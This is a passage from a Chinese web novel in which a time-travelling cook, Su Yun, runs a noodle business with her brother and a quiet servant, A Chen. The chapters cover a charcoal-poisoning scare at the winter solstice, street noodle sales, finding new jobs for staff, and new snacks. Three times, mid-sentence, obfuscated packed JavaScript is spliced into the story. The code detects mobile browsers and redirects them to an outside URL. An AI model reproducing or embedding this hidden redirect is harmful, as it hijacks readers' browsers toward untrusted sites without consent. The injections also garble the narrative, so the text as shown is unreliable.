“……以前我爹也和你一样喜欢吃生的。这倒也是缘分，现在咱们也成了家人呢。”收到信号，苏平之连忙把话圆了回来。 苏芸又跟着找补两句，把话引到雪橇上，气氛又轻松了起来。 她想起那个说书人的话。他说越国人都是野蛮人，因为他们爱吃生的东西。哼，没见识的井底之蛙！ 阿沉才不是野蛮人呢！ 8. 卖泔水，冬至节差点团灭 苏芸拿着沉甸甸的小荷包，开开心心地从南福寺离开。 这里面装了五百文钱，是她卖泔水赚来的。 没错，就是那个泔水。 护生寮的四十几只大狗吃得太多，寺院里没那么多钱供吃食。苏芸提出来每月工钱加五百文，她来解决。住持同意了。 住持原本以为苏芸要多做些仿荤菜送来，正伸着脖子等呢。还别说，自从有了苏芸的投喂，南福寺的和尚尼姑都圆润了一圈儿，气色也红润许多，念起经来中气十足，再也不会犯困犯懒了。 可住持还真没想到，苏芸竟会带着那个黑脸男仆，拿来了几大只泔水桶。 你就说有没有解决问题吧！ 回去的路上苏芸多走了一条街，来到朵云斋，买了套文房四宝。上回刘婶的话像是有人往她心里丢了把刀子。现在面馆生意差不多稳定下来了，是时候该引着苏平之回到他该走的路上。 没人要的泔水变成了带着墨香的文房四宝。每月买一套，划算。 谢谢狗子。 苏平之颤颤巍巍接过自家妹妹递来的东西。 既熟悉，又陌生。 他把宣纸摊在桌上，拿起墨石开始研磨。墨石一圈圈地在砚台上转，浓厚的墨香散开来。拿起毛笔，笔尖落在纸上。 苏。 最后一笔停留好久，直到墨迹晕开，晕成一个黑色的圈圈。 苏平之有些恍惚。上次背书是什么时候来着？三……四年前了吧。他低头看了看自己的双手，干了几年粗活，指尖结了一层厚茧，骨节也微微有些变形。 “平之，以后我们家可就指望你了，你一定要用功读书，给爹考个举人回来，光宗耀祖！” 爹的话他还记得。曾经爹娘对他期望极高，省吃俭用把他送去私塾读书，就连苏芸小小年纪也要下地干活补贴家用。 私塾先生是位告老还乡的进士，在云洲颇负盛名。苏平之六岁开蒙熟读“三百千”，十三岁熟读四书五经。同窗还在苦读论语时，他已经开始研究资治通鉴，和先生谈起国策来了。 先生为人严厉古板，一条木板子常年握在手里，那些同窗们都被他打得呲牙咧嘴皮开肉绽。 苏平之从来没挨过打。 他被寄予厚望，不敢懈怠，日夜苦读，生怕自己落下一点儿让大人失望。直到有次，他看见苏芸的腿上、手臂上布满了血口子，那都是割麦时划伤的。 那时的苏芸勉强到他胸口，面黄肌瘦，好像一阵风都能把她吹倒。 之后他再也看不进书了。他总是透过书上一排排字看见苏芸，那个拼了命干活供他念书的妹妹。 苏平之开始逃学，说自己脑子疼，看不进书，不想再去私塾了。气得苏父险些背过气去。 “不中用！不中用啊！” 然后就是一场意外。秋收时分，苏家父母到镇上卖货，一辆马车失控，直直地朝他们碾了过来。二人当场断了气。尸首送回来时他大着胆子掀开草席看了一眼，已经扭曲得看不出原样了。 马车上的人没露面，只托仆人送了钱打发。 苏平之对那人恨之入骨，还去衙门击鼓鸣冤。 后来被打了二十杖，理由是“惊扰官府” 行刑的衙役瞧他可怜，打得时候收了两分力道，这才万幸没落下残疾。 “孩子，回去吧，有些人不是你惹得起的。” 然后苏平之就乖乖回家了。 妹妹还在，他必须好好活着才行。 他力气小，干不来农活，只能去镇子上给人抄写书信混点饭钱，勉强养活自己和苏芸。 他不是个好哥哥，他甚至没注意到自己的妹妹生了病，直到苏芸晕倒在家，他这才慌慌张张抱着她去医馆。 然后苏芸醒了，换了个人。 他不怪芸儿。即使没有她，妹妹还是活不下来。苏平之只恨自己。自己真的很没用。 “平之哥？平之哥？” 苏芸的声音打断了苏平之的回忆。他扭过头朝她笑笑：“嗯？” “怎么样？用得还顺手吗？” “很顺手，谢谢芸儿。”苏平之握紧手中的毛笔，垂下的指尖还在轻轻颤抖。 日落西山，外面淅淅沥沥下起了小雨。 苏芸架起了红泥小火炉。阿沉弯下腰，夹起几块松木炭用钳子放在底下，点燃火折子，拿过蒲扇轻轻扇着。苏平之抱着一个陶罐，里面装了满满的雪水，都是他昨日特意收集的。 今儿是冬至。冬至如大年，人间小团圆。按照习俗，各家各户会聚在一起吃饺子，还要互送礼物添添喜气。 苏芸准备了文房四宝，和一双新鞋，分别送给苏平之和阿沉。苏平之准备了梳子，崭新的斧头。 而阿沉，他给苏平之送了腰带，给苏芸送了…… 一口大锅。 这个礼物让苏芸既感动又想笑。 新买的锅放在火炉上，倒入清水，开始候汤。苏芸添了些茶水，又在锅里下了包好的饺子、馒头片、红枣之类的小吃。室外雨雪交加，室内三人围在这一小撮火光周围，时不时闲话家常。就连一向沉默寡言的阿沉，话也多说几句。 苏芸还准备了自制扑克，但苏平之被坑怕了，死活不愿再玩。阿沉默默低下头，耳朵动了动。 “到了午夜时分，外面暴雨交加，书生躲在床下整个人瑟瑟发抖。今日是最后一天，熬过头七，她就不敢再来纠缠。书生心里默念神婆的话。突然，门吱呀一声开了。” 苏芸口若悬河地讲起了鬼故事，其他二人被故事吸引入神，听得无比专注，连馒头烤糊了都无人发觉。 “咚，咚，咚。书生知道，是那女子化身厉鬼前来索命了。好在他早有准备，按神婆的方法躲了起来，只要那厉鬼看不到他，就会默默离去。” “咚，咚，咚。那声音又响了几下，然后突然消失了。书生松了口气，看来那厉鬼已经走了。他睁开紧闭的双眼，却看见——” 苏芸猛地凑近苏平之，压低声音：“那厉鬼大头朝下，就在离书生一寸的距离，死死盯着他！” “啊啊啊啊啊啊！”苏平之吓得跳了起来，死死捂住耳朵连连后退。他起得急，差点打翻了锅子，幸好阿沉眼疾手快扶了一把。 “哈哈哈哈哈哈！”苏芸笑得直拍桌子，“我还没讲完呢！” 苏平之捂着耳朵绕圈跑，苏芸追在后面继续讲。他一把抓起阿沉，躲到他身后。 好弟弟，守护一下哥哥！ 阿沉笑了一下，冲苏芸摇摇头，示意她别再吓唬人了。 然后他转过头，看着苏平之。 “咚，咚，咚。” “阿沉！！！” 苏平之快哭了。此刻的他无比后悔刚才为什么不答应打牌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488208|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提议。 闹了一阵，三个人都有些累了，重新坐回火炉边开始煮粥。再喝上一碗热乎乎的赤豆粥，这个冬至也算圆满结束。 苏芸双手托着下巴，眼皮越来越沉。苏平之靠在桌子边缘，半眯着眼，睡意朦胧。 “一会儿喝完粥早些歇息吧。” “嗯……” 苏芸疲惫地应了一声。三人越来越安静，一时间只能听见炉子咕噜咕噜冒泡的声音。 就在苏芸即将闭上眼的那一刻，一道黑影从她身边迅速掠过。 “啪！” 门被一脚踹开。冷风裹着雨水灌进来。阿沉脚步虚浮地走回来，一手一个扯着二人往外拖。 冰冷的雨水打在脸上，苏芸胸口闷闷的，脑子还没转过弯来。她看见阿沉的嘴唇在动，但声音好像从很远的地方传过来。 “那个，危险。” 阿沉皱着眉指了指火炉。他的脸色很差，额头上沁着一层汗，呼吸比平时急促。他自己也中毒了。但他还是把她和苏平之拖了出来。 “以前……”他停了一下，声音很低，“我家乡的人，死过。” 苏芸愣住了。 雨水顺着她的头发淌下来，流进领口，冰得她一激灵。但她没有动。她看着阿沉，他的头发湿漉漉地贴在额头上。他蹲在雨里，一只手撑着膝盖，胸膛起伏着。 他说，他家乡的人死过。 想起茗香苑里说书人说“那些越贼被杀了大半”。想起阿沉的茶杯打翻在桌上，茶汤淌下来，他没有擦。 “阿沉。”苏芸的声音从喉咙里挤出来，被雨声压得很轻。 他抬起头看她。雨水从他的眉骨滑下来，滴在睫毛上，他没有眨眼睛。 围炉煮茶是她的提议，她差点害死他们， 苏平之站在旁边，一句话也说不出来。他的嘴唇动了动，想说什么，但最终只是伸出手，把阿沉从雨里扶了起来。 阿沉的脚步还很虚，站起来的时候晃了一下，苏平之的肩膀顶上去，撑住了他。 “进屋。”苏平之的声音很哑，“都进屋。” 三人整理了一番，通风后味道散去不少。苏芸在收拾东西的时候手一直在抖。她把阿沉送的那口大锅从火炉上端下来，锅底还残留着一点赤豆粥的甜香。她盯着那口锅看了很久。 阿沉走过来。 他蹲下身，把她手里紧攥的抹布拿过去，叠好，放在灶台上。然后他看着她。 “……别难过。” “不是你的错。” 苏芸没有说话，她低下头，继续收拾着。 她把那口锅洗干净，擦干，放回灶台上。 隔天早上，苏芸照例带着几位帮工准备餐食。近几日天冷，给南福寺备些汤面再好不过了。她时不时走神，想起冬至那天的事。最近诸事顺遂，自己也有些飘了，连最基本的安全都没考虑到。虽然阿沉和苏平之事后都说不怪她，但她知道这就是自己的错。 她特意检查了灶房的窗户，开着的。从这里还能看到阿沉在院子里劈柴。 啪。啪。啪。 劈柴声很稳。 苏芸收回目光，把汤面装进温盘。帮工把面团递过来，她接住，放进锅里。 啪。 劈柴声停了。 苏芸下意识扭头。 院子里空荡荡的，阿沉不见了。 9. 发展新客源，去大街上卖杯面 阿沉人呢？ 苏芸放下长勺，叮嘱帮工看着火候，擦了擦手走出灶房。地上还堆着没劈完的柴火，旁边放着把斧头，是苏平之送的那把。 她刚走到外面，迎面差点撞上人。苏芸连连倒退几步，定睛一看。 来人身穿蓝色窄袖圆领袍，身材高大，留着胡子。皮肤也是酱色的。 见到苏芸，那人愣了下，又开始四处打量。 “你找谁？” “我……能不能讨口水喝？”他开口，声音像锯木头似的。 苏芸给他倒了碗水。他接过来喝了几口，道了声谢。 “老板，这儿就您一个人在忙活？” “灶房里还有人呢。您有什么事儿吗？” 苏芸把手背在身后，抓紧了裙子。 听到还有人，那人下意识上前一步就要查看。 “哎！灶房外人不能进的。” 苏芸拦在男子身前。正巧福子拎着食盒从里面走出来。 “老板，都准备好了。” 福子看到二人先是一愣，立刻走到苏芸身边，警惕地看着男子。 “老板，这是……” “不认识，来讨水喝的。” 那人见到福子，先是有些惊讶，紧接着脸上隐隐浮现出一抹失望。 他冲二人抱了下拳：“打扰了，多谢。”转头离开时撩起帘子，又回头打量了一眼，才依依不舍地走了。 苏芸注意到，这个人走路也是没有声音的。 她站在原地，看着那道帘子晃了几下，慢慢停住。院墙外传来更远的脚步声，然后什么都听不见了。 “老板，没事吧？”福子还站在旁边。 苏芸回过神来。“没事。把食盒搬上车吧。” “路上慢点儿。” “哎，您放心。” 苏芸把最后一只食盒放上牛车，捆了个圆形结，拿棉被盖好。福子跳上车，咧嘴嘿嘿一笑，赶着车去了南福寺。 吱—— 刚进后院，门开了。是苏芸那间屋子的门。 阿沉从里面缓缓出来，手上拿着一把短刀。见到苏芸，他把刀收了回去，低下了头。 “已经没事了。” “那个人走了。” 阿沉没有接话。他走到木墩前，弯腰捡起斧头。 劈柴声再次响了起来。啪，啪，啪。 一下比一下沉重，像是劈柴的人心里压了什么东西。 苏芸站在灶房门口看了他一会儿。他没有抬头。她转身回了灶房。 汤面还在锅里咕嘟着，帮工已经把下一批面团醒好了，码在案板上，盖着湿布。苏芸洗了手，重新拿起长勺。灶房的窗户开着，从这里能看见院子。 阿沉还在劈柴，背影和平时一样稳。但她注意到，他每劈完一根都会停一下，抬头看一眼院门的方向。 · 每到午时，东市的人总是最多的。卖吃食的小贩挑着担子来回吆喝，两侧的小吃摊挤满了人，粥饭、肉饼、粉羹、糕点，各种煎炒烹炸的香气四处飘散。再往前走还有些卖艺杂耍的摊子，此起彼伏的叫好声不绝于耳。 苏芸和苏平之推着餐车走来，一路上收获不少稀奇的注意。木头做的小推车，底下装着四个铁轮，上方挂着个牌子——苏记面馆。 苏芸推着餐车经过一个卖肉饼的摊子。摊主是个精瘦的中年人，两手各拿一把铲子，同时在煎四张饼。饼在铁鏊上滋滋作响，他头也不抬，铲子上下翻飞，四张饼同时翻面，一张没破。苏芸多看了两眼，摊主感觉到目光，抬头冲她咧嘴一笑，露出一口黄牙。 一个蹲在路边吃肉饼的脚夫抬起头，盯着餐车上的牌子看了两眼，念出声来：“苏——记——面——馆。” 他低头看看手里的肉饼，又看看餐车，冲苏芸喊了一声：“你们卖什么的？” “我们卖面条的，这位兄弟喜欢可以来一份尝尝！”苏平之答道。 苏芸把提前封好油的面条一份份分出来，用油纸包好拧紧四角，装进食盒，盖上棉被保温。餐车的小台上放着几个粗陶罐子。 糖醋酱、照烧酱、蒜蓉酱、葱油酱，都是按店里卖的热门款准备的。罐子旁边还有个多层食盒，里面是葱花、黄瓜丝、芝麻粒之类的配料。 苏平之把餐车停稳，从底下抽出两条矮凳摆好，拿抹布擦了擦台面，搓着通红的手，冒着白气说： “这边儿离咱们家挺远的，也不知道卖不卖得动。芸儿为什么选在这里啊？” 苏芸把油纸竹签提前摆好，头也不抬：“发展些新客呀。家门口那片基本上都认识咱们了，在那儿卖方便是方便，但没什么新鲜玩意。这里我提前看过的，没有和咱们家差不多的。 “还有那个全福楼的张华生，讨厌死了，天天盯着咱们复刻。” 提起张华生，苏平之一向好性子的人脸上也有些怒气，重重跺了两下脚。 “就是，讨厌死了！” 正说着，刚才蹲着吃肉饼的脚夫走过来了，看了眼餐车上的牌子：“来份…炸酱面。” “好嘞！您要哪种调味酱？这款面配葱油的比较多。” “那就葱油！” 苏芸快速从食盒里取出取出一包面，拧开油纸四角，热气一下冒了出来。舀一勺葱油酱，撒点葱花芝麻粒，抽出张崭新的油纸筒把面装上，再插两根竹签。 脚夫等着面的功夫又咬了口肉饼，嚼得咯吱响。苏芸听见那声音，脑子里闪过的却是早上那人锯木头似的嗓子。 她手上动作停了一瞬，酱汁差点滴在台面上。她把竹签插好，递过去。“来，您的面。” 脚夫接过油纸筒看了眼，外面一圈写着“苏记面馆”四个大字，底下还有具体地址和营业时间。这主意是苏芸想的，苏平之足足熬了两个大夜才把这些油纸一一写完。 油纸筒一拧开，葱油的香气混着热气扑出来。脚夫鼻子动了动，顾不上烫，挑起一筷子就往嘴里送。苏芸和苏平之紧紧盯着他。 第一口还没咽下去，第二筷子已经挑起来了。酱汁挂在面条上油亮亮的，他吸溜吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488209|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溜吃得极快，嘴唇沾了一圈油光。最后一筷子面送进嘴里，脚夫拿袖子抹抹嘴，把油纸筒翻过来念出底下的地址：“苏记面馆，西街口……”抬头看苏芸，“你们明儿还来不？” “来的来的！还是这个时辰，您喜欢再来吃呀！” 见脚夫吃得津津有味，又有几人围过来各自买了份杯面。苏芸动作麻利地取面淋酱，苏平之在旁边收钱找钱，两人配合默契，装钱的托盘很快堆起了一层小山。 就这样卖了一个时辰，一百份面条全卖完了，赚了整整二钱银子。除去成本税费，净利润差不多也有一钱。 第一天开门红。苏芸开开心心地把东西收好，看了下四份酱，糖醋卖得最好，蒜蓉还剩一小半。嗯，明天把它换掉。 她把蒜蓉罐子盖好，抬头扫了一眼街口。 没有蓝色袍子，没有酱色的脸。 她低下头，继续收东西。 苏平之把餐车擦了擦，推起车，二人慢悠悠地往回走。“今儿真顺利啊，这么快就卖完了。”“要是一直这么卖下去，收益都超过咱家面馆了！” “冷静，我的好哥哥。”苏芸拍了拍他，“赶上刮风下雨哪儿还有客人出来？而且第一天卖，大多数人也就是吃个新鲜热闹。 你看斜对面卖肉饼的那位，我还买过一份呢，味道真不比咱家差。他在那儿待得久了，卖得自然不如咱们，刚才收摊时我看了眼，他那肉饼还剩大半没卖出去呢。” “那……咱们以后也……” “差不多。”苏芸点点头，“不过咱们可以换着花样做面条。过几天把阿沉也叫上，他力气大，让他背上木桶，装些杨梅、桂花、红枣雪梨之类的热饮搭配着卖，这样还能再快一些。” “芸儿，你可真是天生的生意人，脑子里总有那么多稀奇古怪又精妙的主意。我这个做兄长的只能说佩服，佩服！” “对了，认识这么久了我还没仔细问过，你从前在家乡那边是做什么的？” 苏芸扬起下巴，抬手指向餐车上那块大大的招牌——苏记面馆。 “就这个！我从前做了十几年面条呢。别看我岁数小，论资历也算得上前辈了。” “呦，苏老师傅，失敬失敬。”苏平之笑着抱了抱拳，“那你家乡那边的面馆，是家里祖传下来的？” “是祖传的。”提起这个，苏芸可就不困了。 她骄傲地说：“从我爷爷那辈开始，传到我爹，然后是我。”她顿了顿，“其实我太爷爷是宫里的御厨，做鲁菜的。 只可惜因为一些变故老爷子提前过世了，爷爷只学了面食，没学到热菜。眼下咱们做的是面条生意，但总有一天，我要重新把鲁菜学好，继承太爷爷的衣钵，把真正的本事学到手，再传承下去。” “嗯，我相信芸儿一定可以的。你这么聪明能干，学什么都快。” 午后的太阳照在他们身上，把影子拉得好长好长。苏芸推着餐车，车轮在青石板上发出细碎的声响。 她和苏平之推着餐车慢慢走得远了，消失在街角。 10. 亏本儿了！冬天要吃冰激凌！ “芸儿，你看看。” 这日苏芸正在房里练字，苏平之找了过来，递给她一个本子。 苏芸翻开，是面馆这个月的账本。 “怎么了平之哥？” “这个月……亏本了。” “啊？？？”苏芸眯起眼睛仔细看着那一排排字，古代人是竖着写文字，还是繁体，一时间她还真看不出来哪儿出了问题。 “这里。”苏平之伸手指向其中一处。 “福子，刘生，马德全……工钱十八两！！” 苏芸想起来了，当初那个李行老坑了她一手，事后她虽然在找木匠的过程中还了回来，不过店里这三个帮工她没辞退。 一是因为南福寺那边需要帮工做订单。 二是因为这三个人干活都卖力，还是穷苦人家出来的，特别是那个叫福子的，家人还生着病。 苏芸当初想到这儿便没往下细算，觉得自己多掏些也无妨，就当做做善事了。 直到查账这日，要不是苏平之及时发现，她还不知道要继续亏下去多久！ “啊啊啊对不起……”苏芸烦躁地抓了抓头发，瘫倒在椅子上。 “没事没事，我也知道你当初是出于好心才继续留下这三人的。”苏平之忙安慰道。 “只不过咱们面馆往后可养不起这么贵的帮工了，要不芸儿，我去找他们谈谈？如果他们愿意减少些工钱那就留下，不愿意的话我们再给点遣散费，请他们离开。” “减工钱不大好。”苏芸不赞同。就算他们心善，答应了，可做起事来难免会产生落差，做得差了，我们是说还是不说？不说出来我们吃亏，说出来了倒显得我们不近人情，压榨工人，这传出去对咱们面馆的名声也不好听。” “那…那只能请他们走了？” “这……他们三人干得都不错，才做了一个月就给人撵走也不大好，不知道的还以为他们犯了什么事儿呢，以后他们再找活可就难了。” “那…那该如何是好？” “容我想想办法吧，至于这个月的工钱你还是给他们按账本上的数照发，这个亏不赖人家，是我自己没小心，我认。” “哎，行，那我去发钱了，芸儿你也别太自责，你已经做得很好了，老虎还有打盹儿的时候呢，亏点儿钱没事，咱以后还会赚回来，赚更多的钱。” “嗯！！” ————————————————————— “汪汪！” “汪汪汪！” 苏芸刚走到春水湖外围，远远便听见狗子们欢快的叫声。往日冷冷清清的湖边此时围了不少人，大家缩着肩膀抄手在那排队，湖面上时不时还传来兴奋地叫声。 “哇！！！” “啊啊啊———！” 苏芸的雪橇车项目发展得那是红红火火，小半个月的功夫，她赚了足足三两银子，而且照着架势下去，玩的人只多不少。 如今湖面上的雪橇车从最开始的三辆变成了足足八辆，当初四十几只狗如今也扩大成了七十只。为此那孙木匠还特意找到苏芸向她道谢。托她的福，自己做了好几个小车单子，赚了不少银子，终于能睡个好觉了！ “怎么样？还喜欢吗？”苏芸问道。 “喜欢喜欢！老板，你说的都是真的吗？让我打理这个？”福子搓了搓手，嘴角咧得大大的。 “嗯，不过别高兴太早啊！头半年的利润我抽三成，之后你亏盈自负，我只有一个要求，不许虐待那些狗，不许让他们疲劳工作，能做到吗？” “能能能！您放心！“福子拍着胸脯连连保证道。 “行，那明儿我找个中人，咱们签个约，这事儿就定下来了。还有那南福寺里有间寮房，是他们分给我的，就让你娘住那间吧，离护生寮近，省得你起早贪黑还得干回家。” “老板……”福子眼一热，啪一下跪在地上。 “老板，您这是救了我们一家啊！您的大恩大德福子永远记得，以后有用得着我的地方您尽管开口！” “好好好，快起来快起来！”苏芸吓了一跳，她从来没被人跪过，只觉得无比惶恐，赶紧把福子从地上扯了起来。 “走吧，我带你引荐一下南福寺的住持，她性子和善，往后有什么不懂的你随时问她就成。” “好嘞！我知道了！” 安置完福子以后，苏芸又把刘生介绍给了孙木匠当学徒。刘生心细，学门手艺往后到哪儿都能混个饭吃，刘生也乐呵呵地答应了下来，甚至连遣散费也没收，说就当给苏芸一份儿“牙钱”。 至于马德全，他孤家寡人，无依无靠，苏芸带了些做好的面条，甜品，带着他去了刘婶家里。 这真是打瞌睡有人递上枕头，刘婶家刚辞了个长工，手脚不干净的，眼下正是缺人的时候呢！ 马德全是仨人当中力气最大的，刘婶收了这么个劳动力笑得眼睛都快没了。 每月四两，还包吃住，如此，三个帮工都算妥善安置完毕，苏芸心中的大石头也终于能拿开了。 虽然和这仨人只相处一个月，但还是有了些情份在的，因此他们临走时都不约而同地…… 没拿遣散费。 苏芸怀里揣着没送出去的三两银子，胸口一片暖意。 从刘婶家回去要经过南街，南街比西街安静许多，放眼望去看不到几个人。 苏芸刚过了小石桥，进入巷子口的时候，就看见个熟悉的侧影。 是个二十出头的姑娘，正狼吞虎咽地吃着食盒里的面条，时不时还四周张望，好像生怕叫人发现了似的。 那姑娘苏芸认得，是百花铺里的调香师，也是她店里的常客。 苏芸对她有些印象，总一个人来，说话轻声细语的，但每次都点两人份的食物。 “老板，你这手艺真不错，我家里人也爱吃呢！” 现在，苏芸看见那姑娘正拿着自己店里打包的面条，是“家里人那份。” ——————————————————— 隔天午时，方若华又来了苏记面馆。 她找了个角落位置坐下，冲苏芸点点头。 老规矩。 不一会儿的功夫，一碗热气腾腾的海鲜面摆在了方若华面前。 但这回，却没有打包的那份。 “老板，我还有一份打包的呀。” “我记着呢，你先吃，吃完了我再下，省得面坨。” 方若华低下头开始吸面，不知怎的，她好像觉得苏老板今日有些不一样了。 苏芸说完没有直接离开，而是笑盈盈地坐在她的对面。 “姑娘，您也算是咱这儿的常客了，其实我一直想跟您说，咱们家的面条啊特别开胃！所以大家啊都是一人吃两人份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488210|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “您看我，每顿起码要吃两碗，还得再加份儿双皮奶才吃得饱呢！” “要不，您打包那份儿我先给您端上来？就算我请的？” 方若华有些激动，“嗯嗯好的呀！不…不用请我，那我也再多吃一碗吧！” “正好我还有些没吃饱呢！” 很快，另一碗面也端了上来，苏芸还给方若华赠了份新出的蜂蜜酱。闲话间，二人交换姓名，也算正式认识了。 方若华今年刚满二十，比苏芸大一点，临走前她还赠了苏芸一块自己做的小香膏，让苏芸有空随时到百花铺找她玩儿。 就这样，穿越到这里半年多，苏芸的社交圈终于跨出自家，认识了新的朋友。 · “我去买糖葫芦！你们俩吃吗？” “还吃？芸儿，你别撑着了。” 苏平之劝道，阿沉默默摇头。苏芸却没听进去，她摸出两文钱，递给小贩，然后挑了只又大又红的冰糖葫芦。 咔嚓一口，糖衣包裹着酸甜的山楂，酸得苏芸直抽气，连忙吃了口冰激凌压压味儿。 阿沉见状，忙把拎着的食盒打开，又取出些冰激凌送到苏芸碗中。 其实说是冰激凌，不过是她把房檐的冰棱子摘下来敲碎，又加些蜂蜜，蔗糖水，还有些搅成果泥的梨子肉做成的。味道比不过现代那些五花八门的口味，但好在吃的是纯天然，没有那些香精啦，色素之类对身体有害的东西。 大冬天的出来逛街当然要吃冰的！ 这一大盒冰激凌，苏平之却一口没动。 “冷食伤身，冷食伤身。” 那一大盒冰激凌，她吃了大半儿，阿沉被她塞了小半儿，三个人在街上边逛边玩溜达了大半天，这才把过年要用的东西给备齐了。 往家走的时候天上又下起雪了，三个人提着大包小包的，怕摔倒了也不敢走快，等到家门口的时候，三个人已经染成了白色，像是会移动的雪人似的！ “平之哥！” 苏平之正要开门，就听见苏芸在背后喊他。 ？苏平之回头，然后立刻跳了起来！ “哇！！！！” 只见苏芸从地上捧了些雪，拉起苏平之的后衣领直接灌了下去！ “苏！芸！！”苏平之门也不开了，放下手中买好的东西，也捡起雪花朝苏芸走去。 “你过来！给我过来！！” “啊哈哈哈哈抓不着！抓不着我！” 二人围着阿沉绕圈跑，眼看着苏芸即将被追上，阿沉抬腿一踢。 一大片雪花飞起，砸在了苏平之的身上！ “臭小子！！”苏平之摔在地上，把手里的雪团朝阿沉砸去！ 啪！ 阿沉酱色的脸变成了白色。 三人嘻嘻哈哈打闹许久，整个西街都能听见他们大喊大叫的声音，直到三人浑身湿透，狼狈不堪，这才互相搀扶着回到家中。 “累死了！” 刚进来，苏芸四仰八叉倒在地上，周围立刻湿了一圈儿黑色。 “起来。”阿沉蹲在她的身边，手指戳了戳苏芸。 “不起！我累，让我歇会儿！” 阿沉盯着苏芸沉默片刻，见她仍赖着不起，直接双手一提—— “喂！” 阿沉把苏芸扛在了肩上，朝着苏芸的房间走去。 11. 做炸肉饼，烤肠和红豆奶茶 寅时，灶房。 苏芸把醒好的面团从盆里捞出来。面是昨夜和上的，揉过三遍，醒了三个时辰，此刻光滑柔韧，按下去一个小窝又慢慢弹回来。 苏芸用手臂揉了揉眼睛，好困，还没睡醒。 年底帮工不好找，上回把福子他们请走后，苏芸又去找了位新的行老，说要三个帮工。 对方应下，开价六十文一天，很公道的价格。 但又要两天时间。没办法这两日她只能辛苦些，早起准备南福寺的订单。 冬天起床是最痛苦的，苏芸揉着面团，时不时还跺跺脚保持血液循环，还可以让自己精神点儿。 “困死了……”她打了个哈欠。 阿沉也起来了。他蹲在院角，面前是一盆洗好的羊肠衣。 肠衣泡在清水里，薄得透光，能看见水在里面缓缓流动。 苏芸把调好的肉馅端出来，肥瘦三七开，加了盐和酱，搅到起胶，筷子插进去能立住。阿沉接过灌肠的竹筒，把肠衣套上去，手指捏着端口。 苏芸往竹筒里塞肉馅，他一点一点捋着肠衣，肉馅灌进去，肠衣鼓起来，在他手里变成一条一条胖乎乎的肉肠。 这期间他们两个人没说话，只听见竹筒里肉馅往下走的闷响，和他捋肠衣时手指摩擦的沙沙声，交替响着。 一阵风吹过，院子里的老杨树吹落一些积雪，恰好落在阿沉的肩膀上。 他没有察觉，苏芸伸手替他拂掉。 灌好的肉肠挂在竹竿上，他用针在每根肠衣上扎几个细孔，动作很轻，里面肉馅的颗粒，深深浅浅，看着令人食指大动。 苏芸把烤肠放进特制的铁槽里。槽底铺着碎炭火，肠衣遇热收缩绷得紧紧的，肉馅还在里面滋滋冒油。 她用竹签翻着来回翻面，肠衣从粉白烤到金黄，又从金黄烤到微焦，然后裂开道口子 油滴在炭火上，溅起细小的火星，带着焦香的烟气往上冲。她拿起一根，竹签穿透肠衣，肉汁顺着签孔溢出来，落在炭火上滋啦一声，冒起一小股白烟。 此时门口食客已经排起队了，站在灶房还能听见苏平之招呼客人的声音。 清晨的太阳晒在街上，食客们缩着肩膀站在面馆前，一个个冒着寒气站那儿等着。 阿沉又去了南福寺送货，苏芸把烤肠一根一根摆在油纸上，回头喊了声“平之哥”，苏平之擦着手跑来，把烤肠端出去。 香气扑鼻，食客们围过来，烤肠进了他们的肚子，铜钱叮叮当当落进木盘里。 苏芸又夹了几块炸肉饼放进油纸袋，肉饼是早上新做的，面衣炸得酥脆，咬开里面肉汁还烫嘴。 灶上的红豆煮了一上午了，红豆是昨夜泡上的，粒粒饱满，泡发后胀得圆鼓鼓的，皮上泛着暗红的光泽。 苏芸掀开锅盖，热乎乎的豆香灌了满脸。 锅里的水收得只剩一半，豆子也煮烂了。 她用木勺搅了搅，豆沙从锅底翻上来，沙沙的，稠稠的，勺底挂上一层暗红的浆。茶叶是前几日从茶商那里买的红茶末子，便宜，但茶味浓。 苏芸抓了一把丢进滚水里，茶汤很快变成深褐色，茶叶在沸水里翻滚舒展。滤掉茶叶，把茶汤倒进红豆锅里，又加了两勺蔗糖。茶香和豆香绞在一起，从灶房漫出去，连排队的食客都伸着脖子往里面看。 “什么味儿啊？” “估计是苏老板又在做什么新鲜吃食了，闻着都馋啊！” “搞快点搞快点，我钱都备好了！” · 做奶茶需要奶。苏芸拿出从养羊人那里买来的羊奶，陶罐外面还带着凉意。 她掀开白布，奶皮已经结了一层，在阳光下看着微微发黄。她用筷子挑开奶皮，奶皮下是雪白的羊奶，浓得挂勺。 苏芸把羊奶慢慢倒进红豆茶汤里，深褐色的茶汤变成淡棕色，奶花在里面转着圈散开，慢慢融成一片。 